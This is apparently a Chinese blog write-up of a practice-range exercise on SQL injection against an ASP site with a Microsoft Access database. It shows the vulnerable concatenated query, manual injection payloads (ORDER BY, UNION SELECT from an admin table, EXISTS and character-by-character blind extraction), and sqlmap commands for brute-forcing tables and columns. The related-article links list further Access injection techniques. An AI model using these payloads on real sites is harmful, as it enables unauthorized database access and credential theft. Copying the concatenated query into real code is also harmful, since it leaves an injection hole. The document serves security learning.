ACCESS数据库注入
0X01
我们想来了解一下access数据库
Access注入是暴力猜解
Access数据结构(access只有一个数据库)
Access数据库
表名
列名
数据
没有库这个概念 只有表这个概念
这应该就是今天的sql语句
<%
id=request("id")
sql="select * from product where id="&id
set rs=conn.execute(sql)
%>
Set rs = conn.Execute(sql) 意思是说:执行这条SQL语句、并将它保存到记录集里面! 希望可以帮你解决问题
Set 赋值; conn.Execute()执行sql 语句、并返回值
0X02好的有思路之后进行第一步 手工注入
第一步肯定是先判断注入点是否存在注入啊 由于上面 看到语句sql="select * from product where id="&id已经构造闭合了
所以这里就不许要构造闭合
但是我们还是需要照着网上的步骤 因为现实中我们不可能知道源码
1.判断网站是否有注入点。
在以asp?id=xx(任意数字)结尾的连接依次添加:
'
1=
1=
若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点。
判断有注入点后我们进行手工注入看看有几个字段
order by 22正确 23错误 好的 那么有22个字段
那我们就可以构造语句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
看见是3,15的位置是显示的是数据 那么我们后面爆破出来列明后就可以直接 把名字放到3,15的位置上面去了
那我们现在来拆解表名,列名 方法access注入攻击片段-逐字猜解法 //兼容性好,工具一般采用这种方法
构造语句
查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
1
2
3
4
5
|
and ( select top 1 len(列名) from admin)=5 //=换成<=5也成立,下同 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 and ( select top 1 asc (mid(列名,位数,1)) from admin)=97 |
当然这里我们也可以用啊D来跑一下
0X02sqlmap梭哈
先来初步试探 因为不知道DBMS是什么类型的
sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道数据库类型)
这里sqlmap判断出来是acess数据库 问我们是否尝试其他的数据库类型 n 我们不尝试了
那我们它又问我们是否要使用字典爆破表名 点yes 常见的3140个表名挨个的爆破
知道表明了后 直接爆破列名
sqlmap.py -u "www.xxx.xxx" -T “admin" --columns
也会继续用字典进行枚举爆破
今天是第一次接触到access数据库 以前遇见asp的网站的时候 就说为什么单引号报错 双引号也报错 原来asp的sql和php的sql语句都不一样 就一次小小的靶场就收获这么多
感谢卿哥为我们提供一个这么好的环境 受益匪浅
学习不要浮躁 慢慢来
ACCESS数据库注入的更多相关文章
- 测试 - 某网站ACCESS数据库注入漏洞
元宵节 团团圆圆总少不了一篇文 测试是否有注入 测试数据库类型 后面不用注释猜到可能是access 验证一下 这里说一下MySQL和ACCESS以及MSSQL的判断语句 MySQL:and len ...
- 尝试Access数据库注入实验
靶场环境:https://www.mozhe.cn/bug/detail/82 首先http://219.153.49.228:49543/new_list.asp?id=1 order by 4 到 ...
- Access+Mssql+Oracle数据库注入
Access数据库注入 前言:在常见的注入测试中,由于每个数据库内置架构和应用不同,导致数据库类型将决定注入的手法,Access数据库是小型数据库类型,普遍用于小型WEB应用,其中Access注入手法 ...
- access数据库之cookie注入
本来今天想写post注入的,但这几天正好看到chookie的注入的视频.就先写一下这个.大家对于我说的get post cookie注入可能会认为SQL注入就这几种方式.这概念是错的.Get post ...
- Access数据库SQL注入(Access SQL Injection)
一.Microsoft Office Access数据库手工注入语句 1.参数后面加 ’ .and 1=1.and 1=2看返回状态判断是否存在注入点 2.参数后面加 and exists(sel ...
- access数据库一般注入方法及偏移注入
1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...
- ACCESS数据库偏移注入
偏移注入主要是针对知道表,但是不知道字段的ACCESS数据库. 比如我们已经知道了表名是 admin 判断字段数: http://192.168.74.136:8002/Production/PROD ...
- Access数据库及注入方法
目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...
- SQLMAP注入Access数据库
今天偶遇一Access数据库 1.首先尝试是否存在注入点,and1=1,and 1=2,发现返回信息不一样 2.使用sqlmap脱裤,发现时Access数据库,不能提权, 3.那就直接暴库吧,sqlm ...
随机推荐
- Java Android 开发数字不足位数前面补0
import java.text.DecimalFormat; public void changeColor(View view) { DecimalFormat decimalFormat = n ...
- 洛谷 U78696 图书馆馆长的考验 题解
题面 1. 图书馆馆长的考验(library) 红魔馆的拥有者蕾米莉亚的好友帕秋莉是红魔馆的大图书馆的馆长.擅长操纵五行,名言是“万物都有属性.所谓的属性,和弱点是一样的”. 一天,因为魔理沙看了神之 ...
- gdb笔记 ---《Linux.C编程一站式学习》
gdb笔记 ---<Linux.C编程一站式学习> 单步执行和跟踪函数调用 函数调试实例 #include <stdio.h> int add_range(int low, i ...
- 第一课 初识Linux(一)
Linux起源 创始人:李纳斯.托瓦兹 Linux简介: Linux是一套免费使用和自由传播的类UNIX操作系统:是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CPU的操作系统.Lin ...
- 模板渲染JinJa2
模板渲染JinJa2 可以从数据库中查询数据,然后去替换我html中的对应内容(专业名词叫做模板渲染,你先渲染一下,再给浏览器进行渲染),然后再发送给浏览器完成渲染. 这个过程就相当于HTML模板 ...
- 解决IOS把数字渲染为电话号码,颜色为蓝色解决方案
可将telephone=no,则手机号码不被显示为拨号链接<meta name="format-detection" content="telephone=no&q ...
- centos python environment
3. 在Centos7的docker里装好了httpd,运行报错: $ systemctl start httpd.service Failed to get D-Bus connection: Op ...
- Js和Jquery实现ajax长轮询
众所周知,HTTP协议是无状态的,所以一次的请求都是一个单独的事件,和前后都没有联系.所以我们在解决网页实时聊天时就遇到一个问题,如何保证与服务器的长时间联系,从而源源不段地获取信息. 一直以来的方式 ...
- 简单了解 node net 模块
简单了解 node net 模块 文章记录了对net 模块的简单理解分析. net模块 简单使用 net.Server 类 net.Socket 类 总结 1.1 net模块 Node.js 的 Ne ...
- eclipse中web项目tomcat的设置
1. 出现的问题: web开发中(eclipse环境),为本地项目添加tomcat,我们一般都会选择直接添加.在本次开发中突然遇到一个问题:因为项目涉及到文件上传,我利用MultipartFile进 ...